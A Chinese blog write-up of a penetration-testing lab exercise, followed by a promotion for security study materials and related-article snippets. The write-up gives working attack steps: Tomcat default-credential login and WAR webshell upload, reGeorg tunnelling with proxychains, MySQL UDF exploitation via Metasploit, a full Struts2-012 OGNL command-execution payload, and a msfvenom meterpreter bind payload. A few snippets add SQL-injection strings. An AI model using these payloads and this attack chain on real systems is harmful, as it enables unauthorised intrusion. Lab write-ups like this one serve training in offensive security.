靶场攻略 | 记一次实验靶场练习笔记

Tomcat 靶场攻略 步骤一:环境搭建docker ps步骤二:漏洞复现步骤二:首页进行抓包Tomcat允许适⽤put⽅法上传任意⽂件类型,但不允许jsp后缀⽂件上传,因此我们需要配合 windows的步骤三:Webshell客户端⼯具进行连接。 阅读详情

靶场攻略 | 记一次实验靶场练习笔记

前两天朋友分享了一个实验靶场,感觉环境还不错,于是对测试过程进行了详细记录,靶场中涉及知识点总结如下:

  • War包制作
  • regeorg内网代理工具的使用
  • UDF漏洞利用
  • Struts2-012漏洞利用
  • Msfvenom模块的使用

本次实验靶场的网络拓扑结构如下图所示:

图片

01

获取web据点

首先访问朋友给定的web服务器端口,为tomcat应用的默认页面,如下图所示:

图片

如果刚开始没有思路的话,可以百度搜索一下Tomcat示例页面相关漏洞情况。访问目标manager后台目录,尝试tomcat默认口令tomcat/tomcat进行登录:

图片

登录成功之后,tomcat管理后台有个部署war包的功能,可以通过上传war包getshell,获取服务器权限。

图片

在攻击机kali中生成war包后门,可以用自己的木马,也可使用kali自带webshell,默认路径:/usr/share/laudanum/

jar cvf shell.war xx.jsp

图片

在WAR file to deploy 功能处上传并部署后门war包,单击选择文件,选择生成的war文件并确定,点击击deploy按钮就完成了上传。

验证是否上传成功,浏览器访问注意事项:根目录+war包文件名+jsp webshell文件名

比如我上传了的war包名为cmd.war,木马名为:cmd.jsp

在浏览器地址栏中:hxxp://x.x.x.x/cmd/cmd.jsp

图片

接下是连接上传的jsp一句话,使用C刀连接目标服务器的jsp木马

下载地址:https://github.com/Chora10/Cknife 可自行编译或者下载网上的程序虚拟机里执行。

图片

菜刀成功连接后,会以树状形式显示webshell文件所处位置,如下图所示

图片

图片

02

添加代理

拿下web边界机以后,一般情况下,分两种情况:

  • 有内网:以此为跳板,攻击内网其他机器,摸清目标内网拓扑环境,拿下靶标系统;

  • 无内网:如果是项目,就可以收工了,不是的话,就可以作为代理池的一部分;

下面的情况属于有内网的环境,查看本机IP地址,发现两个网卡都有内网地址。

图片

目标web服务器并无探测主机存活的工具,两种方式:

  • 自己上传端口扫描工具||脚本
  • 使用隧道代理工具,代理自己的工具进入目标内网中,做初步的信息搜集。

此处选择第二种方式,上传regeorg程序的tunnel.jsp脚本到目标服务器的shell目录下

图片

web访问返回连接成功的信息(Georg says,’All seems fine’) 如下图所示,此为该工具流量硬特征,建议在下载后修改该字符串,或者使用升级版的neo-regeorg

https://github.com/L-codes/Neo-reGeorg 去特征且传输加密

图片

使用regeorg工具建立隧道,命令如下:

Python regeorgsocksproxy.py -u   hxxp://x.x.x.x/tunnel.jsp -p xxxx

-u 代理木马链接;

-p指定传输端口;

图片

在proxychains工具配置文件下添加regeorg打通的代理端口

vim /etc/proxychains.conf 在最后一行添加regeorg的配置好的传输端口即可

图片

代理nmap到内网扫描172网段敏感端口,使用TCP全连接扫描

一些Nmap使用语法:http://mang0.me/archis/40a439a4/

图片

03

UDF漏洞利用

通过扫描得到的MySQL应用信息,尝试弱口令连接,一样的思路哪个应用不会搜索哪里

图片

查看security_file_priv是否配置命令:

show variables like ‘%secure%’;

显示结果对应解释

Secure_file_priv=null               //不允许导入导出文件Secure_file_priv='D:/'  //允许导入到指定目录Secure_file_priv=‘’               //允许到任意目录Secure_file_priv=”/”              //允许到根目录

图片

发现为空可以写任意目录,使用proxychains将msf代理到目标内网中,利用MySQL的UDF漏洞进行命令执行。

图片

如果忘记模块,可以先search 需要的模块内容关键字

Use exploit/multi/mysql/mysql_udf_payload

查看未设置的参数 show options

Password和rhost参数可以设置

图片

Set rhost 172.16.15.16Set password 123456  run

图片

虽然显示没有会话,但是so文件已经传上去了,使用默认的MySQL命令连接,执行自定义函数,成功执行,说明udf提权成功。

图片

04

S2-012漏洞利用

代理nmap到内网扫描10网段机器敏感端口

图片

发现10.10.60.250:8080存在struts2-012漏洞

图片

Struts2-012 payload 测试

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-al"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

成功读取/etc/passwd文件

图片

10.10.60.66和172.16.15.16一样的思路。

图片

弱口令:admin/password

图片

图片

上传菜刀的jsp木马

图片

使用蚁剑服务器管理工具连接成功

图片

Msf生成Linux木马

msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.10.60.66 lport=1234 -f elf > shell.elf

图片

生成完成后将该木马程序上传到目标服务器的web目录下,赋予权限,在msf中开启监听模块,执行程序,即可拿到会话

设置msf下handler模块必要的参数

set payload linux/x86/meterpreter/bing_tcpSet rhost 10.10.60.66Set lport 1234

图片

exploit -j        后台获取会话Sessions          可查看会话  -i                进入该会话

图片

本次实验到此结束,通过弱口令并结合应用特性拿到主机权限,使用内网代理工具建立隧道,探测内网段端口及对应漏洞,拿下对应主机权限。


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

webug靶场渗透基础攻略 文章目录安装第一关第二关 安装 下载解压后,打开虚拟机 修改网络为桥接模式 虚拟机cmd中输入ipconfig查看局域网ip地址 我这边是192.168.0.101 浏览器访问一下 没毛病,第一步完成了,现在开始练习 第一关 这题目…一开始我就没明白要干什么 看了二三关的题目后,才明白过来是要找出id为1的值的flag 接下来我们使用sqlmap 查询当前的数据库名 sqlmap -u... 阅读详情

相关推荐

靶场练习 手把手教你通关DC系列 DC1

本次使用的kali机的IP地址为DC1的地址为靶场IP地址为: 192.168.243.134开放端口: 22/ssh 80/http 111/rpcbind框架: cms Drupal 7中间件: Apache 2.2.22语言: php 5.4.45操作系统: Debian。

QYbkx974的博客 2157

【vulhub靶场】Tomcat中间件漏洞复现

本文主要是对tomcat中间件相关漏洞的复现,包括Tomcat AJP 任意文件读取/包含漏洞 (CVE-2020-1938)、Tomcat 任意文件写入漏洞 (CVE-2017-12615)以及Tomcat 弱密码和后端 Getshell 漏洞。

M372109150的博客 4168

第306个Vulnhub靶场演练攻略:Empire: LupinOne

本文介绍了Vulnhub靶场Empire: LupinOne的渗透测试过程。首先通过netdiscover扫描网络,发现目标IP为192.168.2.173。Nmap扫描显示开放了22(SSH)和80(HTTP)端口,其中HTTP服务下存在/~myfiles目录。查看该目录源码发现提示信息,使用ffuf工具进行模糊测试,发现secret目录。整个过程展示了从信息收集到漏洞发现的完整渗透测试流程,强调枚举在渗透测试中的重要性。

weixin_44626085的博客 1243

【Vulfocus靶场-初级】Tomcat后台弱口令+War包文件上传Getshell漏洞复现

Vulfocus靶场漏洞,Tomcat后台弱口令,War包文件上传Getshell漏洞复现,利用冰蝎/哥斯拉进一步方便命令执行,获得flag并提交,通过tomcat靶场。

6407

实战指南:CentOS 7下VOS3000 8.0从零部署到授权激活全流程

本文提供了一份详尽的CentOS 7系统下部署VOS3000 8.0的实战指南。从环境准备、使用FileZilla上传安装包、执行自动化安装脚本,到获取软件码、利用注册机生成授权文件并激活,手把手带领用户完成从零部署到投入商用的全流程,确保系统稳定运行。

zero1的博客 898

Zipformer实战:5分钟快速搭建语音识别模型(附LibriSpeech测试结果)

本文提供了一份详细的Zipformer语音识别模型实战指南。通过清晰的步骤,指导读者在5分钟内完成从环境配置、LibriSpeech数据集准备到模型训练与测试的全过程。文章重点解析了关键配置参数,并分享了在LibriSpeech测试集上的性能结果,帮助开发者快速评估和应用这一高效的语音识别架构。

weixin_35578748的博客 164

【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细);Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接

m0_67844671的博客 2万+

CH340驱动安装全攻略:从Windows到MacOS的避坑指南(2025最新版)

本文提供2025年最新版CH340驱动安装全攻略,涵盖Windows、MacOS和Linux三大操作系统。详细解析了驱动安装的核心原理、标准流程,并针对Windows设备管理器报错、MacOS系统安全限制等常见“坑点”提供了深度排错与解决方案,旨在帮助开发者快速稳定地完成USB转串口通信配置。

earth的博客 428

XXE靶场的使用以及攻略

首先,我这里讲的靶场长这样,大家看看是不是自己要找的:

qujian9795的博客 1677

告别双系统!用Ventoy把Ubuntu 22.04装进U盘,打造你的随身开发环境(附保姆级避坑指南)

本文详细介绍了如何使用Ventoy将Ubuntu 22.04安装到U盘,打造便携式开发环境。通过即插即用的特性,开发者可以在任何x86电脑上快速启动完整的Ubuntu系统,无需配置双系统或虚拟机。文章提供了从硬件准备到系统优化的全流程指南,帮助用户高效创建随身开发环境。

weixin_31569671的博客 364

深度学习在地质勘探中的应用:使用Python构建卷积神经网络进行地震数据分析

在本文中,我们介绍了如何利用深度学习技术,特别是卷积神经网络(CNN),来处理和分析地震数据。我们使用了Python编程语言和TensorFlow框架构建了一个CNN模型,并使用地震数据进行了训练和评估。在本文中,我们将探讨如何利用深度学习技术,特别是卷积神经网络(CNN),来处理和分析地震数据。首先,我们需要获取地震数据集。通过本文的介绍,希望您能对深度学习在地质勘探领域的应用有更深入的了解,并能够应用这些技术来解决实际问题。在准备好地震数据和构建CNN模型后,我们需要将数据分为训练集和测试集。

斌擎科技 1473

vulhub Earth靶场攻略

摘要:本文介绍了Vulnhub靶场Earth.ova的下载使用流程。首先通过Nmap扫描获取靶机IP(192.168.163.141),发现开放22/80/443端口。由于直接访问失败,需在hosts文件中添加扫描发现的域名。使用dirb和dirsearch工具扫描发现测试文件testingnotes.txt和testdata.txt,后者可能包含加密测试数据。观察到首页数字疑似加密文本,推测密文与明文长度比为1:2,密钥长度为403,最终行806可能对应密钥。整个过程涉及网络配置、端口扫描、目录爆破和加密

qujian9795的博客 1303

高匿反爬实战:Python打造无痕爬虫,规避风控系统追踪

网络层匿踪:核心是使用住宅IP代理池,按真实用户IP画像匹配,控制请求频率;协议层匿踪:动态生成请求头(每次都不同),参数添加随机噪声,避免规律化;行为层匿踪:模拟人类的非规律行为(贝塞尔轨迹、随机停顿、非精准点击);设备层匿踪:伪造Canvas/WebGL指纹,禁用webdriver标识,每次请求更换指纹;核心原则:无痕爬虫的本质是“无限接近真实用户”,所有维度都要消除爬虫特征,而非单一维度伪装。打造真正的无痕爬虫需要全维度的匿踪策略,单一维度的伪装极易被高级风控系统识别。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 2645

java的三种组件漏洞靶场攻略

这里使用的环境全部都是vulhub-master靶场。

qujian9795的博客 1485

1.4 点云数据获取方式——结构光相机

与此同时,利用相机从特定角度捕捉变形后的图案,基于三角测量原理,通过精确计算相机与投影仪之间的几何关系以及图案的变形程度,就能准确计算出物体表面各点的三维坐标,从而获取高精度的三维点云数据。在高端制造业中,对于微小零部件的尺寸测量和缺陷检测,结构光相机能够提供极其精确的数据,确保产品质量符合严格的标准。时序编码:这类相机通过序列投射多幅不同图案,如格雷码、相移条纹等,通过对这一系列图案的时间序列进行解码分析,就能够获取亚像素级精度的三维信息,其单点误差能够控制在≤0.1mm,展现出极高的测量精度。

qq625924821的博客 925

YOLO11全网首发:CVPR2026 MixerCSeg | DEGConv方向引导边缘门控,破解细长裂缝检测难题

DEGConv通过方向先验嵌入、边缘增强卷积和动态门控三大机制,针对性解决了YOLO在处理裂缝类细长、多方向、低对比度目标时的特征提取不足问题,显著提升了裂缝检测的精度与鲁棒性。

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 562

靶场通关攻略(第二周)

在桌面创建一个.user.ini文件并写入auto_prepend file=111.jpg(将木马包含入该jpg文件中执行),接着先上传.ini文件,再上传jpg文件即可将木马上传。已知Windows系统对文件的大小写并不敏感,则我们可将文件后缀改为.Php,尝试上传,即显示上传成功。于是我们将文件后缀改为.php2、.php5等系统可以以php形式打开的格式,再次上传,显示成功。查看源码可知,本关检查只会检查一次后缀,故我们只需双写后缀名.php即可将木马上传并正常运行。

2403_88364403的博客 1833

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

记一次“模仿杰哥攻略阿伟”的靶场渗透练习

未来的黑客大佬!我们终于找到你了~ 想要获取更多免费学习资料可搜索公众号:“掌控安全课堂” 后台回复”我想学黑客“即可 情况简介 好久没碰渗透相关的东西了,2021年下半年到现在都忙着夯实基础去考了hcip和rhce,虽说平时是做蓝方的这两个证书也用不太上,但主要上大学的时候就像考了,总是感觉拖延,尤其是考了pte之后更拖延了,于是就一鼓作气把这两个小家伙都考完了,工作上一直在忙着看态感和搞数据安全,数据安全和态势感知结合误报真的太多了,每天都在优化,还是改不了这罗里吧嗦不说正事的毛病,这次用的靶

Askshhbs的博客 1179

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

靶场攻略 | 网络安全靶场合集

1JAVA环境。

Python_0011的博客 5133

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

sqli-labs靶场通关攻略 41-45

密码框输入:') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa。密码框输入:') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa。步骤四:查看users表列名。步骤四:查看users表列名。

2301_82061181的博客 2554

WebGoat靶场搭建及通关记录(一)

文章目录前言一、搭建靶场二、通关攻略1.GeneralHTTP BasicsHTTP Proxies2.Injection FlawsSQL Injection (advanced) 前言 搭建WebGoat靶场,没事打一打。 一、搭建靶场 靶场环境,只介绍在windows系统中搭建过程。 先下载这两个文件 https://github.com/WebGoat/WebGoat/releases/download/v8.1.0/webgoat-server-8.1.0.jar https://githu

m0re's blog 8248
上一篇: 容器(Docker & Singularity)使用入门
下一篇: 反射XSS和CORS漏洞组合拳
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值